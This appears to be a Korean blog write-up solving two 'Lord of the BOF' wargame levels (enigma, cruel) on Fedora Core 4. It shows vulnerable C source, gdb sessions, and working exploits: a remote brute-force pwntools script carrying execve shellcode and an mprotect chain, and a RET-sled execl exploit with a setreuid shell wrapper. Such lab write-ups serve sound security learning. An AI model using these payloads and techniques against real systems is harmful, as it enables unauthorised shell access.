반응형
반응형
반응형

ID | cruel

PW | come on, come over




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
    - port : TCP 7777
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
int vuln(int canary,char *ptr)
{
        char buffer[256];
        int *ret;
        
    // stack overflow!!
    strcpy(buffer,ptr); 
 
    // overflow protected
        if(canary != 0x31337)
        {
                printf("who broke my canary?!");
                exit(1);
        }
 
        // preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000== 0
        {
                printf("I've an allergy to NULL");
                exit(1);
        }
 
    // clearing attack buffer
    memset(ptr, 01024);
 
        return 0;
}
 
int main()
{
    char buffer[1024];
 
    printf("enigma : The brothers will be glad to have you!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food!
        fgets(buffer, 1024, stdin);
 
    // oops~!
        vuln(0x31337, buffer);
    
    // bye bye
    exit(0);
}

cs


가젯이 없어서 rop가 안되므로 다른 방법을 찾았다.


fgets 의 임시버퍼 stdin을 활용한다.


payload =

buffer[260] (nop + shellcode) + fakeebp[stdin+268] + leaveret + canary + mprotect + stdin + stdin + 1024 + 7


fakeebp를 통해 stdin에서의 canary 시작부분이 esp가 되고 leaveret으로 leave canary / ret mprotect


mprotect 함수로 stdin 1024만큼 RWX 권한을 부여. 여기에 사용되는 주소가 0x?????000 이어야 하는데 확인해보면 이 조건을 만족한다.


그다음 stdin으로 점프, nop sled 후에 쉘코드 실행.


stdin의 주소는 랜덤이기 때문에 brute force로 쉘을 따야 한다.


쉘코드는 25바이트 쉘코드를 사용했다.



0x0804858e <vuln+142>: leave  

0x0804858f <vuln+143>: ret   


leaveret = 0x0804858e



stdin 주소 구하기


0x080485e0 <main+80>: mov    eax,ds:0x804985c

0x080485e5 <main+85>: sub    esp,0x4

0x080485e8 <main+88>: push   eax

0x080485e9 <main+89>: push   0x400

0x080485ee <main+94>: lea    eax,[ebp-1024]

0x080485f4 <main+100>: push   eax

0x080485f5 <main+101>: call   0x80483ec


(gdb) b *main+106
Breakpoint 1 at 0x80485fa
(gdb) r
Starting program: /home/cruel/enigma 
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xa36000
(no debugging symbols found)
(no debugging symbols found)
enigma : The brothers will be glad to have you!
you : AAAA                           

Breakpoint 1, 0x080485fa in main ()
(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>: 0x008cb740
(gdb) x/10x 0x8cb740
0x8cb740 <_IO_2_1_stdin_>: 0xfbad2288 0xb7fe1005 0xb7fe1005 0xb7fe1000
0x8cb750 <_IO_2_1_stdin_+16>: 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000
0x8cb760 <_IO_2_1_stdin_+32>: 0xb7fe1400 0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000: 0x41414141 0x0000000a 0x00000000 0x00000000 #AAAA
0xb7fe1010: 0x00000000 0x00000000 0x00000000 0x00000000
0xb7fe1020: 0x00000000 0x00000000

stdin = 0xb7fe1000



(gdb) p mprotect

$1 = {<text variable, no debug info>} 0x86d240 <mprotect>


mprotect = 0x86d240



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#fc4 got_overwrite
from pwn import *
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
 
leaveret = 0x0804858e
canary = 0x31337
 
mprotect = 0x86d240
stdin = 0xb7fe1000
 
payload = "\x90" * (260-len(shellcode))
payload += shellcode
 
payload += p32(stdin+268#fakeebp
payload += p32(leaveret)
payload += p32(canary)
 
payload += p32(mprotect)
payload += p32(stdin)
payload += p32(stdin)
payload += p32(1024)
payload += p32(7)
 
print(payload)
 
i=1
while True:
    print i
    i += 1
 
    p = remote("192.168.0.205"7777)
 
    p.recv(1024)
    p.sendline(payload)
    time.sleep(0.1)
 
    p.sendline('whoami')
    try:
        if 'enigma' in p.recv(1024):
            print '[+]Success!!!'
            p.interactive()
            break
        else:
            p.close()
            continue
    except:
        p.close()
        continue
 
cs


108

[+] Opening connection to 192.168.0.205 on port 7777: Done

[+]Success!!!

[*] Switching to interactive mode

$ my-pass

euid = 502

let me ride

$  


처음에 500번을 시도해도 쉘이 안따졌는데, 그 이유가 쉘을 땄는지 판별하는 코드 부분의 문제였다.

그 부분을 수정하고나서 쉘이 108번만에 따졌다.

반응형
반응형

ID | dark_stone

PW | let there be light


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - cruel
    - Local BOF on Fedora Core 4
    - hint : no more fake ebp, RET sleding on random library
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs



[dark_stone@Fedora_2ndFloor ~]$ gdb -q cruel

(no debugging symbols found)

Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) b* main+109

Breakpoint 1 at 0x8048451

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/dark_stone/cruel AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(no debugging symbols found)

(no debugging symbols found)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 1, 0x08048451 in main ()

(gdb) x/20x $esp-20

0xbf85c778: 0x41414141 0x41414141 0x41414141 0x41414141

0xbf85c788: 0x41414141 0x007bad00 0x00000002 0xbf85c814

0xbf85c798: 0xbf85c820 0xbf85c7d0 0x00795898 0x007a3878

0xbf85c7a8: 0xb7f5e690 0x00000001 0x008caff4 0x007a2ca0

0xbf85c7b8: 0x08048454 0xbf85c7e8 0xbf85c790 0x007bad44

(gdb) x/2x 0x008caff4

0x8caff4: 0x008cad3c 0x007bab16



0x008caff4가 0x008cad3c를 가리키고 있다.

ret sleding으로 쓱 싹



0x08048450 <main+108>: leave  

0x08048451 <main+109>: ret    



(gdb) b main

Breakpoint 1 at 0x80483ed

(gdb) r

Starting program: /home/dark_stone/cruel 

(no debugging symbols found)

(no debugging symbols found)


Breakpoint 1, 0x080483ed in main ()

(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
 
#include <stdlib.h>
 
 
 
int main(void)
 
{
 
        setreuid(geteuid(),geteuid());
 
        setregid(getegid(),getegid());
 
        system("/bin/sh");
 
}
cs

[dark_stone@Fedora_2ndFloor ~]$ gcc -o `python -c 'print "\x3c\xad\x8c\x00"'` ex.c


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
import struct
 
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/dark_stone/cruel"
 
ret = 0x8048451
execl = 0x832d68
 
payload = 'A' * 260
 
payload += p32(ret) * 7
payload += p32(execl)
 
os.execv(target, (target, payload[:-1]))
 
cs


[dark_stone@Fedora_2ndFloor ~]$ vi ex.py

[dark_stone@Fedora_2ndFloor ~]$ python ex.

python: can't open file 'ex.': [Errno 2] No such file or directory

[dark_stone@Fedora_2ndFloor ~]$ python ex.py

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ�Q�Q�Q�Q�Q�Q�h-�

sh-3.00$ my-pass

euid = 501

come on, come over


반응형

+ Recent posts